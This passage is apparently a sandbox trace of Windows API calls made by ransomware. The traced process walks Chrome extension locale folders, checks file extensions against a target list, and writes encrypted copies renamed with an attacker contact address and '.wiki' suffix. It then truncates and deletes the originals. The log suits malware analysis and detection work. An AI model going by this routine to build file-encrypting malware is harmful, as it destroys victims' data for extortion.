Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json") returned 151 [0177.340] lstrlenW (lpString=".zip") returned 4 [0177.340] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.340] lstrlenW (lpString=".rar") returned 4 [0177.340] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.340] lstrlenW (lpString=".bz2") returned 4 [0177.340] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.340] lstrlenW (lpString=".7z") returned 3 [0177.340] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.340] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json") returned 151 [0177.340] lstrlenW (lpString=".dbf") returned 4 [0177.340] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.340] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json") returned 151 [0177.340] lstrlenW (lpString=".1cd") returned 4 [0177.340] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.340] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json") returned 151 [0177.340] lstrlenW (lpString=".jpg") returned 4 [0177.340] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.340] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json") returned 151 [0177.340] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json") returned 151 [0177.340] lstrlenW (lpString=".doc") returned 4 [0177.341] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.341] lstrlenW (lpString=".docx") returned 5 [0177.341] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.341] lstrlenW (lpString=".pdf") returned 4 [0177.341] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.341] lstrlenW (lpString=".xls") returned 4 [0177.341] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.341] lstrlenW (lpString=".xlsx") returned 5 [0177.341] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.341] lstrlenW (lpString=".ppt") returned 4 [0177.341] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.341] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json") returned 151 [0177.341] lstrlenW (lpString=".zip") returned 4 [0177.341] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.341] lstrlenW (lpString=".rar") returned 4 [0177.341] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.341] lstrlenW (lpString=".bz2") returned 4 [0177.341] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.341] lstrlenW (lpString=".7z") returned 3 [0177.341] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.341] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json") returned 151 [0177.341] lstrlenW (lpString=".dbf") returned 4 [0177.341] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.341] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json") returned 151 [0177.341] lstrlenW (lpString=".1cd") returned 4 [0177.341] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.341] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json") returned 151 [0177.341] lstrlenW (lpString=".jpg") returned 4 [0177.341] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.342] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.342] lstrlenW (lpString="messages.json") returned 13 [0177.342] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.342] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=197) returned 1 [0177.342] CloseHandle (hObject=0x334) returned 1 [0177.342] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json")) returned 0x2020 [0177.343] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.343] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.343] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.343] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.343] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0177.343] GetLastError () returned 0x0 [0177.343] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xc5, lpOverlapped=0x0) returned 1 [0177.345] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0177.345] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.345] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.346] SetEndOfFile (hFile=0x2e0) returned 1 [0177.346] CloseHandle (hObject=0x2e0) returned 1 [0177.346] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.346] SetEndOfFile (hFile=0x334) returned 1 [0177.347] CloseHandle (hObject=0x334) returned 1 [0177.347] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.347] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json")) returned 1 [0177.347] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json") returned 151 [0177.347] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json") returned 151 [0177.347] lstrlenW (lpString=".doc") returned 4 [0177.347] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.347] lstrlenW (lpString=".docx") returned 5 [0177.347] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.347] lstrlenW (lpString=".pdf") returned 4 [0177.347] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.347] lstrlenW (lpString=".xls") returned 4 [0177.347] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.347] lstrlenW (lpString=".xlsx") returned 5 [0177.347] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.347] lstrlenW (lpString=".ppt") returned 4 [0177.348] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.348] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json") returned 151 [0177.348] lstrlenW (lpString=".zip") returned 4 [0177.348] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.348] lstrlenW (lpString=".rar") returned 4 [0177.348] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.348] lstrlenW (lpString=".bz2") returned 4 [0177.348] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.348] lstrlenW (lpString=".7z") returned 3 [0177.348] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.348] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json") returned 151 [0177.348] lstrlenW (lpString=".dbf") returned 4 [0177.348] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.348] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json") returned 151 [0177.348] lstrlenW (lpString=".1cd") returned 4 [0177.348] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.348] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json") returned 151 [0177.348] lstrlenW (lpString=".jpg") returned 4 [0177.348] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.348] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json") returned 151 [0177.348] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json") returned 151 [0177.348] lstrlenW (lpString=".doc") returned 4 [0177.348] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.348] lstrlenW (lpString=".docx") returned 5 [0177.348] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.348] lstrlenW (lpString=".pdf") returned 4 [0177.348] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.348] lstrlenW (lpString=".xls") returned 4 [0177.348] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.348] lstrlenW (lpString=".xlsx") returned 5 [0177.349] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.349] lstrlenW (lpString=".ppt") returned 4 [0177.349] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.349] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json") returned 151 [0177.349] lstrlenW (lpString=".zip") returned 4 [0177.349] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.349] lstrlenW (lpString=".rar") returned 4 [0177.349] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.349] lstrlenW (lpString=".bz2") returned 4 [0177.349] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.349] lstrlenW (lpString=".7z") returned 3 [0177.349] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.349] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json") returned 151 [0177.349] lstrlenW (lpString=".dbf") returned 4 [0177.349] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.349] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json") returned 151 [0177.349] lstrlenW (lpString=".1cd") returned 4 [0177.349] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.349] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json") returned 151 [0177.349] lstrlenW (lpString=".jpg") returned 4 [0177.349] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.349] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.349] lstrlenW (lpString="messages.json") returned 13 [0177.349] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.350] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=190) returned 1 [0177.350] CloseHandle (hObject=0x334) returned 1 [0177.350] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json")) returned 0x2020 [0177.350] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.350] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.350] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0177.351] GetLastError () returned 0x0 [0177.351] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xbe, lpOverlapped=0x0) returned 1 [0177.352] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0177.353] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.353] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.353] SetEndOfFile (hFile=0x2e0) returned 1 [0177.353] CloseHandle (hObject=0x2e0) returned 1 [0177.353] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.353] SetEndOfFile (hFile=0x334) returned 1 [0177.354] CloseHandle (hObject=0x334) returned 1 [0177.354] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.354] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json")) returned 1 [0177.354] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json") returned 151 [0177.354] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json") returned 151 [0177.354] lstrlenW (lpString=".doc") returned 4 [0177.354] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.354] lstrlenW (lpString=".docx") returned 5 [0177.354] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.354] lstrlenW (lpString=".pdf") returned 4 [0177.355] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.355] lstrlenW (lpString=".xls") returned 4 [0177.355] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.355] lstrlenW (lpString=".xlsx") returned 5 [0177.355] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.355] lstrlenW (lpString=".ppt") returned 4 [0177.355] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.355] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json") returned 151 [0177.355] lstrlenW (lpString=".zip") returned 4 [0177.355] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.355] lstrlenW (lpString=".rar") returned 4 [0177.355] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.355] lstrlenW (lpString=".bz2") returned 4 [0177.355] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.355] lstrlenW (lpString=".7z") returned 3 [0177.355] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.355] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json") returned 151 [0177.355] lstrlenW (lpString=".dbf") returned 4 [0177.355] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.355] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json") returned 151 [0177.355] lstrlenW (lpString=".1cd") returned 4 [0177.355] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.355] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json") returned 151 [0177.355] lstrlenW (lpString=".jpg") returned 4 [0177.355] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.355] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json") returned 151 [0177.355] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json") returned 151 [0177.356] lstrlenW (lpString=".doc") returned 4 [0177.356] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.356] lstrlenW (lpString=".docx") returned 5 [0177.356] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.356] lstrlenW (lpString=".pdf") returned 4 [0177.356] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.356] lstrlenW (lpString=".xls") returned 4 [0177.356] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.356] lstrlenW (lpString=".xlsx") returned 5 [0177.356] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.356] lstrlenW (lpString=".ppt") returned 4 [0177.356] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.356] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json") returned 151 [0177.356] lstrlenW (lpString=".zip") returned 4 [0177.356] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.356] lstrlenW (lpString=".rar") returned 4 [0177.356] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.356] lstrlenW (lpString=".bz2") returned 4 [0177.356] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.356] lstrlenW (lpString=".7z") returned 3 [0177.356] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.356] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 